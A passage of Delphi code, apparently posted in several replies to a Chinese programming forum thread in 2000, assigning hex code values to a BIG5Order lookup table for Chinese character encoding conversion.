BIG5Order[324] := $A6A7;

BIG5Order[325] := $A6A8;

BIG5Order[326] := $A6A9;

BIG5Order[327] := $A6AA;

BIG5Order[328] := $A6AB;

BIG5Order[329] := $A6AC;

BIG5Order[330] := $A6AD;

BIG5Order[331] := $A6AE;

BIG5Order[332] := $A6AF;

BIG5Order[333] := $A6B0;

BIG5Order[334] := $A6B1;

BIG5Order[335] := $A6B2;

BIG5Order[336] := $A6B3;

BIG5Order[337] := $A6B4;

BIG5Order[338] := $A6B5;

BIG5Order[339] := $A6B6;

BIG5Order[340] := $A6B7;

BIG5Order[341] := $A6B8;

BIG5Order[342] := $A6C1;

BIG5Order[343] := $A6C2;

BIG5Order[344] := $A6C3;

BIG5Order[345] := $A6C4;

BIG5Order[346] := $A6C5;

BIG5Order[347] := $A6C6;

BIG5Order[348] := $A6C7;

BIG5Order[349] := $A6C8;

BIG5Order[350] := $A6C9;

BIG5Order[351] := $A6CA;

BIG5Order[352] := $A6CB;

BIG5Order[353] := $A6CC;

BIG5Order[354] := $A6CD;

BIG5Order[355] := $A6CE;

BIG5Order[356] := $A6CF;

BIG5Order[357] := $A6D0;

BIG5Order[358] := $A6D1;

BIG5Order[359] := $A6D2;

BIG5Order[360] := $A6D3;

BIG5Order[361] := $A6D4;

BIG5Order[362] := $A6D5;

BIG5Order[363] := $A6D6;

BIG5Order[364] := $A6D7;

BIG5Order[365] := $A6D8;

BIG5Order[366] := $A8C5;

BIG5Order[367] := $A8C6;

BIG5Order[368] := $A8C7;

BIG5Order[369] := $A8C8;

BIG5Order[370] := $A8C9;

BIG5Order[371] := $A8CA;

BIG5Order[372] := $A8CB;

BIG5Order[373] := $A8CC;

BIG5Order[374] := $A8CD;

BIG5Order[375] := $A8CE;

BIG5Order[376] := $A8CF;

BIG5Order[377] := $A8D0;

BIG5Order[378] := $A8D1;

BIG5Order[379] := $A8D2;

BIG5Order[380] := $A8D3;

BIG5Order[381] := $A8D4;

BIG5Order[382] := $A8D5;

BIG5Order[383] := $A8D6;

BIG5Order[384] := $A8D7;

BIG5Order[385] := $A8D8;

BIG5Order[386] := $A8D9;

BIG5Order[387] := $A8DA;

BIG5Order[388] := $A8DB;

BIG5Order[389] := $A8DC;

BIG5Order[390] := $A8DD;

BIG5Order[391] := $A8DE;

BIG5Order[392] := $A8DF;

BIG5Order[393] := $A8E0;

BIG5Order[394] := $A8E1;

BIG5Order[395] := $A8E2;

BIG5Order[396] := $A8E3;

BIG5Order[397] := $A8E4;

BIG5Order[398] := $A8E5;

BIG5Order[399] := $A8E6;

BIG5Order[400] := $A8E7;

BIG5Order[401] := $A8E8;

BIG5Order[402] := $A8E9;

BIG5Order[403] := $2020;

BIG5Order[404] := $2020;

BIG5Order[405] := $2020;

BIG5Order[406] := $2020;

BIG5Order[407] := $2020;

BIG5Order[408] := $2020;

BIG5Order[409] := $2020;

BIG5Order[410] := $2020;

BIG5Order[411] := $2020;

BIG5Order[412] := $2020;

BIG5Order[413] := $2020;

BIG5Order[414] := $2020;

BIG5Order[415] := $2020;

回复人：hf(2000-8-17 12:55:00) 得0分

BIG5Order[416] := $2020;

BIG5Order[417] := $2020;

BIG5Order[418] := $2020;

BIG5Order[419] := $2020;

BIG5Order[420] := $2020;

BIG5Order[421] := $2020;

BIG5Order[422] := $2020;

BIG5Order[423] := $2020;

BIG5Order[424] := $2020;

BIG5Order[425] := $2020;

BIG5Order[426] := $2020;

BIG5Order[427] := $2020;

BIG5Order[428] := $2020;

BIG5Order[429] := $2020;

BIG5Order[430] := $2020;

BIG5Order[431] := $2020;

BIG5Order[432] := $2020;

BIG5Order[433] := $2020;

BIG5Order[434] := $2020;

BIG5Order[435] := $2020;

BIG5Order[436] := $2020;

BIG5Order[437] := $2020;

BIG5Order[438] := $2020;

BIG5Order[439] := $2020;

BIG5Order[440] := $2020;

BIG5Order[441] := $2020;

BIG5Order[442] := $2020;

BIG5Order[443] := $2020;

BIG5Order[444] := $2020;

BIG5Order[445] := $2020;

BIG5Order[446] := $2020;

BIG5Order[447] := $2020;

BIG5Order[448] := $2020;

BIG5Order[449] := $2020;

BIG5Order[450] := $2020;

BIG5Order[451] := $2020;

BIG5Order[452] := $2020;

BIG5Order[453] := $2020;

BIG5Order[454] := $2020;

BIG5Order[455] := $2020;

BIG5Order[456] := $2020;

BIG5Order[457] := $2020;

BIG5Order[458] := $2020;

BIG5Order[459] := $2020;

BIG5Order[460] := $2020;

BIG5Order[461] := $2020;

BIG5Order[462] := $2020;

BIG5Order[463] := $2020;

BIG5Order[464] := $2020;

BIG5Order[465] := $2020;

BIG5Order[466] := $2020;

BIG5Order[467] := $2020;

BIG5Order[468] := $2020;

BIG5Order[469] := $2020;

BIG5Order[470] := $2020;

BIG5Order[471] := $D2BB;

BIG5Order[472] := $D2D2;

BIG5Order[473] := $B6A1;

BIG5Order[474] := $C6DF;

BIG5Order[475] := $C4CB;

BIG5Order[476] := $BEC5;

BIG5Order[477] := $C1CB;

BIG5Order[478] := $B6FE;

BIG5Order[479] := $C8CB;

BIG5Order[480] := $B6F9;

BIG5Order[481] := $C8EB;

BIG5Order[482] := $B0CB;

BIG5Order[483] := $BCB8;

BIG5Order[484] := $B5B6;

BIG5Order[485] := $B5F3;

BIG5Order[486] := $C1A6;

BIG5Order[487] := $D8B0;

BIG5Order[488] := $CAAE;

BIG5Order[489] := $B2B7;

BIG5Order[490] := $D3D6;

BIG5Order[491] := $C8FD;

BIG5Order[492] := $CFC2;

BIG5Order[493] := $D5C9;

BIG5Order[494] := $C9CF;

BIG5Order[495] := $D1BE;

BIG5Order[496] := $CDE8;

BIG5Order[497] := $B7B2;

BIG5Order[498] := $BEC3;

BIG5Order[499] := $2020;

BIG5Order[500] := $D2B2;

BIG5Order[501] := $C6F2;

BIG5Order[502] := $D3DA;

BIG5Order[503] := $CDF6;

BIG5Order[504] := $D8A3;

BIG5Order[505] := $C8D0;

BIG5Order[506] := $C9D7;

BIG5Order[507] := $C7A7;

BIG5Order[508] := $B2E6;

BIG5Order[509] := $BFDA;

BIG5Order[510] := $CDC1;

BIG5Order[511] := $CABF;

BIG5Order[512] := $CFA6;

BIG5Order[513] := $B4F3;

BIG5Order[514] := $C5AE;

BIG5Order[515] := $D7D3;

BIG5Order[516] := $E6DD;

BIG5Order[517] := $E6DE;

BIG5Order[518] := $B4E7;

BIG5Order[519] := $D0A1;

BIG5Order[520] := $DECC;

BIG5Order[521] := $CAAC;

BIG5Order[522] := $C9BD;

BIG5Order[523] := $B4A8;

BIG5Order[524] := $B9A4;

BIG5Order[525] := $BCBA;

BIG5Order[526] := $D2D1;

BIG5Order[527] := $CBC8;

BIG5Order[528] := $BDED;

BIG5Order[529] := $B8C9;

BIG5Order[530] := $DEC3;

BIG5Order[531] := $DFAE;

BIG5Order[532] := $B9AD;

BIG5Order[533] := $B2C5;

BIG5Order[534] := $B3F3;

BIG5Order[535] := $D8A4;

BIG5Order[536] := $B2BB;

BIG5Order[537] := $D6D0;

BIG5Order[538] := $B7E1;

BIG5Order[539] := $B5A4;

BIG5Order[540] := $D6AE;

BIG5Order[541] := $D2FC;

BIG5Order[542] := $D3E8;

BIG5Order[543] := $D4C6;

BIG5Order[544] := $BEAE;

BIG5Order[545] := $BBA5;

BIG5Order[546] := $CEE5;

BIG5Order[547] := $BFBA;

BIG5Order[548] := $C8CA;

BIG5Order[549] := $CAB2;

BIG5Order[550] := $D8EA;

BIG5Order[551] := $C6CD;

BIG5Order[552] := $B3F0;

BIG5Order[553] := $C8D4;

BIG5Order[554] := $BDF1;

BIG5Order[555] := $BDE9;

BIG5Order[556] := $D8C6;

BIG5Order[557] := $D4AA;

BIG5Order[558] := $D4CA;

BIG5Order[559] := $C4DA;

BIG5Order[560] := $C1F9;

BIG5Order[561] := $D9E2;

BIG5Order[562] := $B9AB;

BIG5Order[563] := $C8DF;

BIG5Order[564] := $D0D7;

BIG5Order[565] := $B7D6;

BIG5Order[566] := $C7D0;

BIG5Order[567] := $D8D7;

BIG5Order[568] := $D4C8;

BIG5Order[569] := $B9B4;

BIG5Order[570] := $CEF0;

BIG5Order[571] := $BBAF;

BIG5Order[572] := $C6A5;

BIG5Order[573] := $CEE7;

BIG5Order[574] := $C9FD;

BIG5Order[575] := $D8A6;

BIG5Order[576] := $B1E5;

BIG5Order[577] := $B6F2;

BIG5Order[578] := $D3D1;

BIG5Order[579] := $BCB0;

BIG5Order[580] := $B7B4;

BIG5Order[581] := $C8C9;

BIG5Order[582] := $CCEC;

BIG5Order[583] := $B7F2;

BIG5Order[584] := $CCAB;

BIG5Order[585] := $D8B2;

BIG5Order[586] := $BFD7;

BIG5Order[587] := $C9D9;

BIG5Order[588] := $D3C8;

BIG5Order[589] := $B3DF;

BIG5Order[590] := $CDCD;

BIG5Order[591] := $B0CD;

BIG5Order[592] := $BBC3;

BIG5Order[593] := $D8A5;

BIG5Order[594] := $B5F5;

BIG5Order[595] := $D2FD;

BIG5Order[596] := $D0C4;

BIG5Order[597] := $B8EA;

BIG5Order[598] := $BBA7;

BIG5Order[599] := $CAD6;

BIG5Order[600] := $D4FA;

BIG5Order[601] := $D6A7;

BIG5Order[602] := $CEC4;

BIG5Order[603] := $B6B7;

BIG5Order[604] := $BDEF;

BIG5Order[605] := $B7BD;

BIG5Order[606] := $C8D5;

BIG5Order[607] := $D4BB;

BIG5Order[608] := $D4C2;

BIG5Order[609] := $C4BE;

BIG5Order[610] := $C7B7;

BIG5Order[611] := $D6B9;

BIG5Order[612] := $B4F5;

BIG5Order[613] := $CEE3;

BIG5Order[614] := $B1C8;

BIG5Order[615] := $C3AB;

BIG5Order[616] := $CACF;

BIG5Order[617] := $CBAE;

BIG5Order[618] := $BBF0;

BIG5Order[619] := $D7A6;

BIG5Order[620] := $B8B8;

BIG5Order[621] := $D8B3;

BIG5Order[622] := $C6AC;

BIG5Order[623] := $D1C0;

BIG5Order[624] := $C5A3;

BIG5Order[625] := $C8AE;

BIG5Order[626] := $CDF5;

BIG5Order[627] := $B1FB;

BIG5Order[628] := $CAC0;

BIG5Order[629] := $D8A7;

BIG5Order[630] := $C7D2;

BIG5Order[631] := $C7F0;

BIG5Order[632] := $D6F7;

BIG5Order[633] := $D5A7;

BIG5Order[634] := $B7A6;

BIG5Order[635] := $BAF5;

BIG5Order[636] := $D2D4;

BIG5Order[637] := $B8B6;

BIG5Order[638] := $D7D0;

BIG5Order[639] := $CACB;

BIG5Order[640] := $CBFB;

BIG5Order[641] := $D5CC;

BIG5Order[642] := $B4FA;

BIG5Order[643] := $C1EE;

BIG5Order[644] := $CFC9;

BIG5Order[645] := $D8F0;

BIG5Order[646] := $B3E4;

BIG5Order[647] := $D0D6;

BIG5Order[648] := $C8BD;

BIG5Order[649] := $B2E1;

BIG5Order[650] := $B6AC;

BIG5Order[651] := $B0BC;

BIG5Order[652] := $B3F6;

BIG5Order[653] := $CDB9;

BIG5Order[654] := $BFAF;

BIG5Order[655] := $BCD3;

BIG5Order[656] := $B9A6;

BIG5Order[657] := $B0FC;

BIG5Order[658] := $B4D2;

BIG5Order[659] := $B1B1;

BIG5Order[660] := $D4D1;

BIG5Order[661] := $C7AA;

BIG5Order[662] := $B0EB;

BIG5Order[663] := $BBDC;

BIG5Order[664] := $BFA8;

BIG5Order[665] := $D5BC;

BIG5Order[666] := $C3AE;

BIG5Order[667] := $D8B4;

BIG5Order[668] := $C8A5;

BIG5Order[669] := $BFC9;

BIG5Order[670] := $B9C5;

BIG5Order[671] := $D3D2;

BIG5Order[672] := $D5D9;

BIG5Order[673] := $B6A3;

BIG5Order[674] := $DFB5;

BIG5Order[675] := $DFB6;

BIG5Order[676] := $B5F0;

BIG5Order[677] := $CBBE;

BIG5Order[678] := $D8CF;

BIG5Order[679] := $BDD0;

BIG5Order[680] := $C1ED;

回复人：hf(2000-8-17 12:56:00) 得0分

BIG5Order[681] := $D6BB;

BIG5Order[682] := $CAB7;

BIG5Order[683] := $DFB3;

BIG5Order[684] := $CCA8;

BIG5Order[685] := $BEE4;

BIG5Order[686] := $B0C8;

BIG5Order[687] := $DFB7;

BIG5Order[688] := $CBC4;

BIG5Order[689] := $C7F4;

BIG5Order[690] := $CDE2;

BIG5Order[691] := $D1EB;

BIG5Order[692] := $CAA7;

BIG5Order[693] := $C5AB;

BIG5Order[694] := $C4CC;

BIG5Order[695] := $D4D0;

BIG5Order[696] := $CBFC;

BIG5Order[697] := $C4E1;

BIG5Order[698] := $BEDE;

BIG5Order[699] := $C7C9;

BIG5Order[700] := $D7F3;

BIG5Order[701] := $CAD0;

BIG5Order[702] := $B2BC;

BIG5Order[703] := $C6BD;

BIG5Order[704] := $D3D7;

BIG5Order[705] := $DBCD;

BIG5Order[706] := $BAEB;

BIG5Order[707] := $B8A5;

BIG5Order[708] := $B1D8;

BIG5Order[709] := $CEEC;

BIG5Order[710] := $B4F2;

BIG5Order[711] := $C8D3;

BIG5Order[712] := $B0C7;

BIG5Order[713] := $C6CB;

BIG5Order[714] := $B3E2;

BIG5Order[715] := $B5A9;

BIG5Order[716] := $CAF5;

BIG5Order[717] := $B1BE;

BIG5Order[718] := $CEB4;

BIG5Order[719] := $C4A9;

BIG5Order[720] := $D4FD;

BIG5Order[721] := $D5FD;

BIG5Order[722] := $C4B8;

BIG5Order[723] := $C3F1;

BIG5Order[724] := $D8B5;

BIG5Order[725] := $D3C0;

BIG5Order[726] := $D6AD;

BIG5Order[727] := $CDA1;

BIG5Order[728] := $B7BA;

BIG5Order[729] := $B7B8;

BIG5Order[730] := $D0FE;

BIG5Order[731] := $D3F1;

BIG5Order[732] := $B9CF;

BIG5Order[733] := $CDDF;

BIG5Order[734] := $B8CA;

BIG5Order[735] := $C9FA;

BIG5Order[736] := $D3C3;

BIG5Order[737] := $CBA6;

BIG5Order[738] := $CCEF;

BIG5Order[739] := $D3C9;

BIG5Order[740] := $BCD7;

BIG5Order[741] := $C9EA;

BIG5Order[742] := $F1E2;

BIG5Order[743] := $B0D7;

BIG5Order[744] := $C6A4;

BIG5Order[745] := $C3F3;

BIG5Order[746] := $C4BF;

BIG5Order[747] := $C3AC;

BIG5Order[748] := $CAB8;

BIG5Order[749] := $CAAF;

BIG5Order[750] := $CABE;

BIG5Order[751] := $BACC;

BIG5Order[752] := $D1A8;

BIG5Order[753] := $C1A2;

BIG5Order[754] := $D8A9;

BIG5Order[755] := $B6AA;

BIG5Order[756] := $C6B9;

BIG5Order[757] := $C5D2;

BIG5Order[758] := $D8C0;

BIG5Order[759] := $D8A8;

BIG5Order[760] := $BDBB;

BIG5Order[761] := $D2E0;

BIG5Order[762] := $BAA5;

BIG5Order[763] := $B7C2;

BIG5Order[764] := $D8F8;

BIG5Order[765] := $BBEF;

BIG5Order[766] := $D2C1;

BIG5Order[767] := $2020;

BIG5Order[768] := $CEE9;

BIG5Order[769] := $B7A5;

BIG5Order[770] := $D0DD;

BIG5Order[771] := $B7FC;

BIG5Order[772] := $D6D9;

BIG5Order[773] := $BCFE;

BIG5Order[774] := $C8CE;

BIG5Order[775] := $D1F6;

BIG5Order[776] := $D8F2;

BIG5Order[777] := $B7DD;

BIG5Order[778] := $C6F3;

BIG5Order[779] := $2020;

BIG5Order[780] := $B9E2;

BIG5Order[781] := $D0D7;

BIG5Order[782] := $D5D7;

BIG5Order[783] := $CFC8;

BIG5Order[784] := $C8AB;

BIG5Order[785] := $B9B2;

BIG5Order[786] := $D4D9;

BIG5Order[787] := $B1F9;

BIG5Order[788] := $C1D0;

BIG5Order[789] := $D0CC;

BIG5Order[790] := $BBAE;

BIG5Order[791] := $D8D8;

BIG5Order[792] := $EBBE;

BIG5Order[793] := $C1D3;

BIG5Order[794] := $D0D9;

BIG5Order[795] := $BFEF;

BIG5Order[796] := $BDB3;

BIG5Order[797] := $D3A1;

BIG5Order[798] := $CEA3;

BIG5Order[799] := $BCAA;

BIG5Order[800] := $C0F4;

BIG5Order[801] := $CDAC;

BIG5Order[802] := $B5F5;

BIG5Order[803] := $CDC2;

BIG5Order[804] := $D3F5;

BIG5Order[805] := $2020;

BIG5Order[806] := $B8F7;

BIG5Order[807] := $CFF2;

BIG5Order[808] := $C3FB;

BIG5Order[809] := $BACF;

BIG5Order[810] := $B3D4;

BIG5Order[811] := $BAF3;

BIG5Order[812] := $DFBA;

BIG5Order[813] := $DFB8;

BIG5Order[814] := $D2F2;

BIG5Order[815] := $BBD8;

BIG5Order[816] := $E0EE;

BIG5Order[817] := $DBDA;

BIG5Order[818] := $B5D8;

BIG5Order[819] := $D4DA;

BIG5Order[820] := $B9E7;

BIG5Order[821] := $DBD8;

BIG5Order[822] := $DBDD;

BIG5Order[823] := $DBD7;

BIG5Order[824] := $D9ED;

BIG5Order[825] := $B6E0;

BIG5Order[826] := $D2C4;

BIG5Order[827] := $BFE4;

BIG5Order[828] := $CDFD;

BIG5Order[829] := $BCE9;

BIG5Order[830] := $E5FA;

BIG5Order[831] := $BAC3;

BIG5Order[832] := $CBFD;

BIG5Order[833] := $C8E7;

BIG5Order[834] := $E5F9;

BIG5Order[835] := $D7D6;

BIG5Order[836] := $B4E6;

BIG5Order[837] := $D3EE;

BIG5Order[838] := $CAD8;

BIG5Order[839] := $D5AC;

BIG5Order[840] := $B0B2;

BIG5Order[841] := $CBC2;

BIG5Order[842] := $BCE2;

BIG5Order[843] := $D2D9;

BIG5Order[844] := $D6DD;

BIG5Order[845] := $B7AB;

BIG5Order[846] := $B2A2;

BIG5Order[847] := $C4EA;

BIG5Order[848] := $CABD;

BIG5Order[849] := $B3DA;

BIG5Order[850] := $C3A6;

BIG5Order[851] := $E2E2;

BIG5Order[852] := $C8D6;

BIG5Order[853] := $D0E7;

BIG5Order[854] := $CAF9;

BIG5Order[855] := $B3C9;

BIG5Order[856] := $BFDB;

BIG5Order[857] := $BFB8;

BIG5Order[858] := $CDD0;

BIG5Order[859] := $CAD5;

BIG5Order[860] := $D4E7;

BIG5Order[861] := $D6BC;

BIG5Order[862] := $D1AE;

BIG5Order[863] := $D0F1;

BIG5Order[864] := $C7FA;

BIG5Order[865] := $D2B7;

BIG5Order[866] := $D3D0;

BIG5Order[867] := $D0E0;

BIG5Order[868] := $C6D3;

BIG5Order[869] := $D6EC;

BIG5Order[870] := $B6E4;

BIG5Order[871] := $B4CE;

BIG5Order[872] := $B4CB;

BIG5Order[873] := $CBC0;

BIG5Order[874] := $C4CA;

BIG5Order[875] := $C8EA;

BIG5Order[876] := $BAB9;

BIG5Order[877] := $CEDB;

BIG5Order[878] := $BDAD;

BIG5Order[879] := $B3D8;

BIG5Order[880] := $CFAB;

BIG5Order[881] := $C9C7;

BIG5Order[882] := $CEDB;

BIG5Order[883] := $D1B4;

BIG5Order[884] := $2020;

BIG5Order[885] := $2020;

BIG5Order[886] := $BBD2;

BIG5Order[887] := $C4B2;

BIG5Order[888] := $EAF2;

BIG5Order[889] := $B0D9;

BIG5Order[890] := $D6F1;

BIG5Order[891] := $C3D7;

BIG5Order[892] := $E6F9;

BIG5Order[893] := $F3BE;

BIG5Order[894] := $D1F2;

BIG5Order[895] := $D3F0;

BIG5Order[896] := $C0CF;

BIG5Order[897] := $BFBC;

BIG5Order[898] := $B6F8;

BIG5Order[899] := $F1E7;

BIG5Order[900] := $B6FA;

BIG5Order[901] := $EDB2;

BIG5Order[902] := $C8E2;

BIG5Order[903] := $C0DF;

BIG5Order[904] := $BCA1;

BIG5Order[905] := $B3BC;

BIG5Order[906] := $D7D4;

BIG5Order[907] := $D6C1;

BIG5Order[908] := $BECA;

BIG5Order[909] := $C9E0;

BIG5Order[910] := $E2B6;

BIG5Order[911] := $D6DB;

BIG5Order[912] := $F4DE;

BIG5Order[913] := $C9AB;

BIG5Order[914] := $B0AC;

BIG5Order[915] := $B3E6;

BIG5Order[916] := $D1AA;

BIG5Order[917] := $D0D0;

BIG5Order[918] := $D2C2;

BIG5Order[919] := $CEF7;

BIG5Order[920] := $DAE4;

BIG5Order[921] := $B4AE;

BIG5Order[922] := $BAE0;

BIG5Order[923] := $CEBB;

BIG5Order[924] := $D7A1;

BIG5Order[925] := $D8F9;

BIG5Order[926] := $D9A2;

BIG5Order[927] := $D8FA;

BIG5Order[928] := $B0E9;

BIG5Order[929] := $B7F0;

BIG5Order[930] := $BACE;

BIG5Order[931] := $B9C0;

BIG5Order[932] := $D7F4;

BIG5Order[933] := $D3D3;

BIG5Order[934] := $D9A4;

BIG5Order[935] := $CBC5;

BIG5Order[936] := $C9EC;

BIG5Order[937] := $B5E8;

BIG5Order[938] := $D5BC;

BIG5Order[939] := $CBC6;

BIG5Order[940] := $B5AB;

BIG5Order[941] := $D3B6;

BIG5Order[942] := $D7F7;

BIG5Order[943] := $C4E3;

BIG5Order[944] := $B2AE;

BIG5Order[945] := $B5CD;

BIG5Order[946] := $C1E6;

BIG5Order[947] := $D3E0;

BIG5Order[948] := $D8FE;

BIG5Order[949] := $B2BC;

BIG5Order[950] := $D8FD;

BIG5Order[951] := $B6D2;

BIG5Order[952] := $BFCB;

BIG5Order[953] := $C3E2;

BIG5Order[954] := $B1F8;

BIG5Order[955] := $D2B1;

BIG5Order[956] := $C0E4;

BIG5Order[957] := $B1F0;

BIG5Order[958] := $C5D0;

BIG5Order[959] := $C0FB;

BIG5Order[960] := $C9BE;

BIG5Order[961] := $C5D9;

BIG5Order[962] := $BDD9;

BIG5Order[963] := $D6FA;

BIG5Order[964] := $C5AC;

BIG5Order[965] := $DBBE;

BIG5Order[966] := $CFBB;

BIG5Order[967] := $BCB4;

BIG5Order[968] := $C2D1;

BIG5Order[969] := $C1DF;

BIG5Order[970] := $BFD4;

BIG5Order[971] := $CDCC;

BIG5Order[972] := $CEE1;

BIG5Order[973] := $B7F1;

BIG5Order[974] := $2020;

BIG5Order[975] := $B0C9;

BIG5Order[976] := $B4F4;

BIG5Order[977] := $DFC0;

BIG5Order[978] := $CEE2;

BIG5Order[979] := $B3CA;

BIG5Order[980] := $C2C0;

BIG5Order[981] := $BEFD;

BIG5Order[982] := $B7D4;

BIG5Order[983] := $B8E6;

BIG5Order[984] := $B4B5;

BIG5Order[985] := $CEC7;

BIG5Order[986] := $CEFC;

BIG5Order[987] := $CBB1;

BIG5Order[988] := $B3B3;

BIG5Order[989] := $C4C5;

BIG5Order[990] := $B7CD;

BIG5Order[991] := $BAF0;

BIG5Order[992] := $D1BD;

BIG5Order[993] := $D6A8;

BIG5Order[994] := $BAAC;

BIG5Order[995] := $D2F7;

BIG5Order[996] := $CCFD;

BIG5Order[997] := $B4D1;

BIG5Order[998] := $C0A7;

BIG5Order[999] := $B6DA;

回复人：hf(2000-8-17 12:58:00) 得0分

BIG5Order[1000] := $E0F1;

BIG5Order[1001] := $B7BB;

BIG5Order[1002] := $BFD3;

BIG5Order[1003] := $D6B7;

BIG5Order[1004] := $CCAE;

BIG5Order[1005] := $BEF9;

BIG5Order[1006] := $BFB2;

BIG5Order[1007] := $BBF8;

BIG5Order[1008] := $D7F8;

BIG5Order[1009] := $BBB5;

BIG5Order[1010] := $DBDF;

BIG5Order[1011] := $D7B3;

BIG5Order[1012] := $BCD0;

BIG5Order[1013] := $D7B1;

BIG5Order[1014] := $B6CA;

BIG5Order[1015] := $B7C1;

BIG5Order[1016] := $E6A4;

BIG5Order[1017] := $E5FE;

BIG5Order[1018] := $C3EE;

BIG5Order[1019] := $D1FD;

BIG5Order[1020] := $E5FB;

BIG5Order[1021] := $E6A5;

BIG5Order[1022] := $BCCB;

BIG5Order[1023] := $C8D1;

BIG5Order[1024] := $CDD7;

BIG5Order[1025] := $D0A2;

BIG5Order[1026] := $D7CE;

BIG5Order[1027] := $E6DA;

BIG5Order[1028] := $D8C3;

BIG5Order[1029] := $CDEA;

BIG5Order[1030] := $CBCE;

BIG5Order[1031] := $BAEA;

BIG5Order[1032] := $DECE;

BIG5Order[1033] := $BED6;

BIG5Order[1034] := $C6A8;

BIG5Order[1035] := $C4F2;

BIG5Order[1036] := $CEB2;

BIG5Order[1037] := $E1AA;

BIG5Order[1038] := $E1AF;

BIG5Order[1039] := $B2ED;

BIG5Order[1040] := $E1A7;

BIG5Order[1041] := $CED7;

BIG5Order[1042] := $CFA3;

BIG5Order[1043] := $D0F2;

BIG5Order[1044] := $B1D3;

BIG5Order[1045] := $B4B2;

BIG5Order[1046] := $CDA2;

BIG5Order[1047] := $C5AA;

BIG5Order[1048] := $B5DC;

BIG5Order[1049] := $EBC0;

BIG5Order[1050] := $D0CE;

BIG5Order[1051] := $E1DD;

BIG5Order[1052] := $D2DB;

BIG5Order[1053] := $CDFC;

BIG5Order[1054] := $BCC9;

BIG5Order[1055] := $D6BE;

BIG5Order[1056] := $C8CC;

BIG5Order[1057] := $B3C0;

BIG5Order[1058] := $BFEC;

BIG5Order[1059] := $E2EE;

BIG5Order[1060] := $E2EC;

BIG5Order[1061] := $BDE4;

BIG5Order[1062] := $CED2;

BIG5Order[1063] := $B3AD;

BIG5Order[1064] := $BFB9;

BIG5Order[1065] := $B6B6;

BIG5Order[1066] := $BCBC;

BIG5Order[1067] := $B7F6;

BIG5Order[1068] := $BEF1;

BIG5Order[1069] := $C5A4;

BIG5Order[1070] := $B0D1;

BIG5Order[1071] := $B6F3;

BIG5Order[1072] := $D5D2;

BIG5Order[1073] := $C5FA;

BIG5Order[1074] := $B0E2;

BIG5Order[1075] := $CAE3;

BIG5Order[1076] := $B3B6;

BIG5Order[1077] := $D5DB;

BIG5Order[1078] := $B0E7;

BIG5Order[1079] := $CDB6;

BIG5Order[1080] := $D7A5;

BIG5Order[1081] := $D2D6;

BIG5Order[1082] := $2020;

BIG5Order[1083] := $B8C4;

BIG5Order[1084] := $B9A5;

BIG5Order[1085] := $D8FC;

BIG5Order[1086] := $BAB5;

BIG5Order[1087] := $B8FC;

BIG5Order[1088] := $CAF8;

BIG5Order[1089] := $C0EE;

BIG5Order[1090] := $D0D3;

BIG5Order[1091] := $B2C4;

BIG5Order[1092] := $B4E5;

BIG5Order[1093] := $B6C5;

BIG5Order[1094] := $D5C8;

BIG5Order[1095] := $E8BD;

BIG5Order[1096] := $C9BC;

BIG5Order[1097] := $B8CB;

BIG5Order[1098] := $B8DC;

BIG5Order[1099] := $E8BC;

BIG5Order[1100] := $2020;

BIG5Order[1101] := $B2BD;

BIG5Order[1102] := $C3BF;

BIG5Order[1103] := $C7F3;

BIG5Order[1104] := $B9AF;

BIG5Order[1105] := $C9B3;

BIG5Order[1106] := $C7DF;

BIG5Order[1107] := $C9F2;

BIG5Order[1108] := $B3C1;

BIG5Order[1109] := $E3E4;

BIG5Order[1110] := $C5E6;

BIG5Order[1111] := $CDF4;

BIG5Order[1112] := $BEF6;

BIG5Order[1113] := $E3E5;

BIG5Order[1114] := $CCAD;

BIG5Order[1115] := $E3E7;

BIG5Order[1116] := $E3E9;

BIG5Order[1117] := $B3E5;

BIG5Order[1118] := $C3BB;

BIG5Order[1119] := $C6FB;

BIG5Order[1120] := $CED6;

BIG5Order[1121] := $BCB3;

BIG5Order[1122] := $B7DA;

BIG5Order[1123] := $E3EA;

BIG5Order[1124] := $E3EC;

BIG5Order[1125] := $E3EB;

BIG5Order[1126] := $E4A1;

BIG5Order[1127] := $E3E6;

BIG5Order[1128] := $2020;

BIG5Order[1129] := $D2CA;

BIG5Order[1130] := $D4EE;

BIG5Order[1131] := $D7C6;

BIG5Order[1132] := $D4D6;

BIG5Order[1133] := $BEC4;

BIG5Order[1134] := $C0CE;

BIG5Order[1135] := $C4B5;

BIG5Order[1136] := $CBFC;

BIG5Order[1137] := $B5D2;

BIG5Order[1138] := $BFF1;

BIG5Order[1139] := $BEC1;

BIG5Order[1140] := $F0AE;

BIG5Order[1141] := $B8A6;

BIG5Order[1142] := $C4D0;

BIG5Order[1143] := $B5E9;

BIG5Order[1144] := $D4ED;

BIG5Order[1145] := $B6A2;

BIG5Order[1146] := $D2D3;

BIG5Order[1147] := $CBBD;

BIG5Order[1148] := $D0E3;

BIG5Order[1149] := $CDBA;

BIG5Order[1150] := $BEBF;

BIG5Order[1151] := $CFB5;

BIG5Order[1152] := $BAB1;

BIG5Order[1153] := $D0A4;

BIG5Order[1154] := $EBC1;

BIG5Order[1155] := $B8CE;

BIG5Order[1156] := $D6E2;

BIG5Order[1157] := $B8D8;

BIG5Order[1158] := $B6C7;

BIG5Order[1159] := $D3FD;

BIG5Order[1160] := $C1BC;

BIG5Order[1161] := $C3A2;

BIG5Order[1162] := $D3F3;

BIG5Order[1163] := $C9D6;

BIG5Order[1164] := $BCFB;

BIG5Order[1165] := $BDC7;

BIG5Order[1166] := $D1D4;

BIG5Order[1167] := $B9C8;

BIG5Order[1168] := $B6B9;

BIG5Order[1169] := $F5B9;

BIG5Order[1170] := $B1B4;

BIG5Order[1171] := $B3E0;

BIG5Order[1172] := $D7DF;

BIG5Order[1173] := $D7E3;

BIG5Order[1174] := $C9ED;

BIG5Order[1175] := $B3B5;

BIG5Order[1176] := $D0C1;

BIG5Order[1177] := $B3BD;

BIG5Order[1178] := $D3D8;

BIG5Order[1179] := $E5C6;

BIG5Order[1180] := $D1B8;

BIG5Order[1181] := $C6F9;

BIG5Order[1182] := $D1B2;

BIG5Order[1183] := $D2D8;

BIG5Order[1184] := $D0CF;

BIG5Order[1185] := $D0B0;

BIG5Order[1186] := $B0EE;

BIG5Order[1187] := $C4C7;

BIG5Order[1188] := $D3CF;

BIG5Order[1189] := $B2C9;

BIG5Order[1190] := $C0EF;

BIG5Order[1191] := $B7C0;

BIG5Order[1192] := $C8EE;

BIG5Order[1193] := $DAE5;

BIG5Order[1194] := $DBE0;

BIG5Order[1195] := $2020;

BIG5Order[1196] := $B2A2;

BIG5Order[1197] := $B9D4;

BIG5Order[1198] := $C8E9;

BIG5Order[1199] := $CAC2;

